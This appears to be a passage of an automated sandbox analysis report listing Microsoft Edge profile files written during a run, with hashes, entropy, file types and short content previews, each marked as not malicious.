Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.3541150292898525
Encrypted:	false
SSDEEP:	6144:mA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:mFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	E4918367CDC7DFFE9946FB05A8B2BBAB
SHA1:	6C4EDCB0DD0CEF8D1FA311E8468FA3A091B455DD
SHA-256:	440016B02804BAE5681FDB64A140011E92A29CE168C20FFFDF0CD335CA1A5AC1
SHA-512:	7291350E70A054416365CC180A7E2C5BD4CD718FE378215D0B374F8F88C0ABEEDDC401A775BE21B377575C39844BB35A16BB3EBFAB50093DDFCC834282D0D165
Malicious:	false
Preview:	...m.................DB_VERSION.1..."q...............&QUERY_TIMESTAMP:domains_config_gz2...13385004559564203..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.160321451588995
Encrypted:	false
SSDEEP:	6:iOXuoJyI1923oH+Tcwtk2WwnvB2KLl1uo8FppQ+q2P923oH+Tcwtk2WwnvIFUv:7vcYebkxwnvFLbUpi+v4YebkxwnQFUv
MD5:	A121AC0666E2F2A18952C606CC678BF4
SHA1:	175C002B0A48E85FC6E82F86BB4A6A600686B922
SHA-256:	D1DD4CD2FF644016E0CC0D76ED6C6736793525E1EE314468E3F6D388123BD9D0
SHA-512:	4B1DC2C690E348A20CCD31E4A2DE431113ECE40B42185CADD1DECFA0CA5BFF6CB4184F163E07EBD3A6C4D706C3871F8234B51B95F358858B572C7F48F06379ED
Malicious:	false
Preview:	2025/02/25-19:49:18.792 21ec Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2025/02/25-19:49:18.859 21ec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324606683202239
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Ri:C1gAg1zfvq
MD5:	429CAC4A353EA98E99579D29C5D98709
SHA1:	D022BADC210FB81E1E2A99C4F3F28786BECFCE17
SHA-256:	267244C38E3547B25EE9124A3CEF61B7860BF96EA2C24E2D904564FCF1057EF2
SHA-512:	F5B1BD45B0231D4104BB98C7FF361F7B3A3963903552A9C0565B1C9272E64CEF43A2D881F567B62B12EF1BA3DD301403C0CD903E79928AB5B09F661BABA3C6B3
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1681939252831866
Encrypted:	false
SSDEEP:	6:iOXuoHIoIq2P923oH+Tcwt8aPrqIFUtFuoHOZmw7uoHikwO923oH+Tcwt8amLJ:7vHov4YebL3FUtlHO/bHi5LYebQJ
MD5:	79B3B8FEB8AD2CEC381F72E9BF968D49
SHA1:	68172A62CAAD5EB74E2F0C438B2F7742ED73015A
SHA-256:	5164B6237FCAC97CE8818D5BB666A6A6216738FE892F24455548B38B42C58366
SHA-512:	AB137440223D20B13A6400AADA502CF9F2871D28027F0D33C3F69B672C6F877BB58B2141899A3A14AA70159B36954DB45A151BE573417CC87B8E0A1F2A8C6F1F
Malicious:	false
Preview:	2025/02/25-19:49:13.888 1e80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2025/02/25-19:49:13.889 1e80 Recovering log #3.2025/02/25-19:49:13.889 1e80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.1681939252831866
Encrypted:	false
SSDEEP:	6:iOXuoHIoIq2P923oH+Tcwt8aPrqIFUtFuoHOZmw7uoHikwO923oH+Tcwt8amLJ:7vHov4YebL3FUtlHO/bHi5LYebQJ
MD5:	79B3B8FEB8AD2CEC381F72E9BF968D49
SHA1:	68172A62CAAD5EB74E2F0C438B2F7742ED73015A
SHA-256:	5164B6237FCAC97CE8818D5BB666A6A6216738FE892F24455548B38B42C58366
SHA-512:	AB137440223D20B13A6400AADA502CF9F2871D28027F0D33C3F69B672C6F877BB58B2141899A3A14AA70159B36954DB45A151BE573417CC87B8E0A1F2A8C6F1F
Malicious:	false
Preview:	2025/02/25-19:49:13.888 1e80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2025/02/25-19:49:13.889 1e80 Recovering log #3.2025/02/25-19:49:13.889 1e80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.216834303758402
Encrypted:	false
SSDEEP:	6:iOXuoHgEq2P923oH+Tcwt865IFUtFuoHBPZmw7uoHBdkwO923oH+Tcwt86+ULJ:7vHgEv4Yeb/WFUtlHBP/bHBd5LYeb/+e
MD5:	F228E7997227F9098F03CF267AC10054
SHA1:	FDA2B2EAD3981A01D191D9D8A01328D771DB6206
SHA-256:	CFD86B8F95F66AB406DCE8336DA896121D8FBA274B97DA16B926903C2B953E94
SHA-512:	68AD902D347803D82BF2DFF1F0B796D1ED173346E5DA7D7DCB22FBE643DDD5048DDE8068F62792F7C1D50A821935E080DBB490AD47DECB972CDC78BC4B410F6C
Malicious:	false
Preview:	2025/02/25-19:49:13.896 1e80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2025/02/25-19:49:13.897 1e80 Recovering log #3.2025/02/25-19:49:13.897 1e80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.216834303758402
Encrypted:	false
SSDEEP:	6:iOXuoHgEq2P923oH+Tcwt865IFUtFuoHBPZmw7uoHBdkwO923oH+Tcwt86+ULJ:7vHgEv4Yeb/WFUtlHBP/bHBd5LYeb/+e
MD5:	F228E7997227F9098F03CF267AC10054
SHA1:	FDA2B2EAD3981A01D191D9D8A01328D771DB6206
SHA-256:	CFD86B8F95F66AB406DCE8336DA896121D8FBA274B97DA16B926903C2B953E94
SHA-512:	68AD902D347803D82BF2DFF1F0B796D1ED173346E5DA7D7DCB22FBE643DDD5048DDE8068F62792F7C1D50A821935E080DBB490AD47DECB972CDC78BC4B410F6C
Malicious:	false
Preview:	2025/02/25-19:49:13.896 1e80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2025/02/25-19:49:13.897 1e80 Recovering log #3.2025/02/25-19:49:13.897 1e80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.180416684596679
Encrypted:	false
SSDEEP:	6:iOXuo5td+q2P923oH+Tcwt8NIFUtFuofZmw7uofVkwO923oH+Tcwt8+eLJ:7v5yv4YebpFUtlf/bN5LYebqJ
MD5:	93DCF928F827E6E1EF9333D391634D11
SHA1:	E06119DB3A14FBA9C9F025990717B5D108C5FA2B
SHA-256:	89626AD0E44331C97F0EB8F64912900DCD8B703E1093C7BD3EFEC760D7C09B08
SHA-512:	0490C4329E84BB80DD88E6B53AE28A8F4B62F7E3E950241332F13A0B1FFCAE94017A7CDA3EFC1F3ABD7434E4439868F56B450C241E886ABDEA86A6F92AF113F9
Malicious:	false
Preview:	2025/02/25-19:49:14.549 1e78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2025/02/25-19:49:14.550 1e78 Recovering log #3.2025/02/25-19:49:14.550 1e78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.180416684596679
Encrypted:	false
SSDEEP:	6:iOXuo5td+q2P923oH+Tcwt8NIFUtFuofZmw7uofVkwO923oH+Tcwt8+eLJ:7v5yv4YebpFUtlf/bN5LYebqJ
MD5:	93DCF928F827E6E1EF9333D391634D11
SHA1:	E06119DB3A14FBA9C9F025990717B5D108C5FA2B
SHA-256:	89626AD0E44331C97F0EB8F64912900DCD8B703E1093C7BD3EFEC760D7C09B08
SHA-512:	0490C4329E84BB80DD88E6B53AE28A8F4B62F7E3E950241332F13A0B1FFCAE94017A7CDA3EFC1F3ABD7434E4439868F56B450C241E886ABDEA86A6F92AF113F9
Malicious:	false
Preview:	2025/02/25-19:49:14.549 1e78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2025/02/25-19:49:14.550 1e78 Recovering log #3.2025/02/25-19:49:14.550 1e78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21880421027789762
Encrypted:	false
SSDEEP:	3:iPtjlntFlljq7A/mhWJFuQ3yy7IOWUcTtCl/dweytllrE9SFcTp4AGbNCV9RUIL:iVC75fOGgl/d0Xi99pEY1
MD5:	49E44FEE1F6A3CEDA0A190CEC19B01E6
SHA1:	963A729DC13499F51881152E6A9EAE004F4093B4
SHA-256:	AD4ED536D337C300084ED2ED3464FE05331BC0884CDF36AF119BBA7EBFCFB155
SHA-512:	4578E2B933539A73A304DD02689F0E5576F78B0CAE38AD61255880A942B57751ECB7652CCCEF574DB68C113A1F433139780F4AAB9989DFE0FFD8D8368477E05C
Malicious:	false
Preview:	.............&.H...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.647720763931528
Encrypted:	false
SSDEEP:	384:aj9P02QkQerkgam6Il773pLDc7jl1P/Kbt/RKToaADhf:adLe2b17Ofl1P/iRKc39
MD5:	2D58AF566EEACBBAA049E2B12AEC002C
SHA1:	67EDDFF19698E282BE627107925265507A8D58F0
SHA-256:	C64632400F284C31461151902A26E0C3018B5DE6B8B2C60217E194481DC60DEE
SHA-512:	D95FD42E0308D00FCBB8AA46005C0130EADD5F52D0D762D3A58BC087E1DE3DCCE8D4D1355CDA7C72A337D2B0D7F07FB62D4FF55EC2AB69442EFFEB88AFCB66F0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.305187305355873
Encrypted:	false
SSDEEP:	12:7vkv4Yeb8rcHEZrELFUtlg/bp5LYeb8rcHEZrEZSJ:724Yeb8nZrExgmLYeb8nZrEZe
MD5:	E6DC5A95143932257A1D6D039BFB5087
SHA1:	70F87B551C83168CD932314418B105AFC7EDC446
SHA-256:	5E3D08238A2A4FC6A24785090B766D669A54848BE089DE14BEF3BBED4254E1D3
SHA-512:	3661588384BB326F2C53D018B18CEEA5E4D2DEA8B1B7E1035578F1B82D4E82D7945B794C8157411FAF28D2EA6A21A266DE47D2E198C702086BCDA965DB98FA61
Malicious:	false
Preview:	2025/02/25-19:49:18.444 1e78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2025/02/25-19:49:18.454 1e78 Recovering log #3.2025/02/25-19:49:18.455 1e78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.305187305355873
Encrypted:	false
SSDEEP:	12:7vkv4Yeb8rcHEZrELFUtlg/bp5LYeb8rcHEZrEZSJ:724Yeb8nZrExgmLYeb8nZrEZe
MD5:	E6DC5A95143932257A1D6D039BFB5087
SHA1:	70F87B551C83168CD932314418B105AFC7EDC446
SHA-256:	5E3D08238A2A4FC6A24785090B766D669A54848BE089DE14BEF3BBED4254E1D3
SHA-512:	3661588384BB326F2C53D018B18CEEA5E4D2DEA8B1B7E1035578F1B82D4E82D7945B794C8157411FAF28D2EA6A21A266DE47D2E198C702086BCDA965DB98FA61
Malicious:	false
Preview:	2025/02/25-19:49:18.444 1e78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2025/02/25-19:49:18.454 1e78 Recovering log #3.2025/02/25-19:49:18.455 1e78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1982
Entropy (8bit):	5.642966594969584
Encrypted:	false
SSDEEP:	48:+ZFfbP8MkvYbaXR2V03Sx4syRkQm9r1RHHS2/48ylsT:+gZRs75TQ8osT
MD5:	9905A19782776ADA7880CDBEBBFFE305
SHA1:	CFD07ACAC8A9946EFCAAD18E3053BA602237F897
SHA-256:	24CE23277C39A113ADA6E4EA7D7E5C21B673729A58AD2012C5D2CA35C663E14A
SHA-512:	229714A626C91F6B2A8490D944A56A3550A13D85C025CE7910B0882DF3CD69240234BA42862B51BEFD7EA79D589D33FD6063ACE2B89310BC8FECF3C6FB7B2158
Malicious:	false
Preview:	~[...................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1740530960918.-_https://ntp.msn.com..LastVisuallyReadyMarker..1740530962114.._https://ntp.msn.com..MUID!.19864E076BCC62AD0BBF5B986ACB63EF.%_https://ntp.msn.com..authRecordTrail...[{"time":"2025-02-26T00:49:20.839Z","action":"NUT","result":"SUCCESS","state":{"isSignedIn":false,"accountType":"UNSUPPORTED_SOVEREIGNTY","signedInAccounts":[0],"storage":{"elt":0,"lt":0,"aace":0,"ace":0,"app_anon":0,"anon":0,"app_wid":0},"appType":"edgeChromium","pageType":"dhp"}}].._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1740530960993,"schedule":[20,0,-1,-1,-1,-1,12],"scheduleFixed":[20,0,-1,-1,-1,-1,12],"simpleSchedule":[50,47,29,25,9,26,15]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20250225.436"}.*_https://ntp.msn.com..pi

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.157262505688687
Encrypted:	false
SSDEEP:	6:iOXuokfBSQ+q2P923oH+Tcwt8a2jMGIFUtFuogpdWZmw7uoCQVkwO923oH+Tcwtw:7va+v4Yeb8EFUtlgXW/bHV5LYeb8bJ
MD5:	B4F4C1B016DD4FA26A928AA21D62ED7A
SHA1:	29F8DFEBC7F3235B3C988926158B821DC4B21785
SHA-256:	E0B0A1744512A99676094D47BE23A746CF9F957BBCAC335A5D0D1BD38688B112
SHA-512:	C8712B9FA248F7D334F85CB8C8D6E4EEA6CA8F41C7E1BAE9C6319CF786892CC9B3BCC9EAEC1289B78CD46F841563957CA872A42F7DCA8446681CD59213F4C757
Malicious:	false
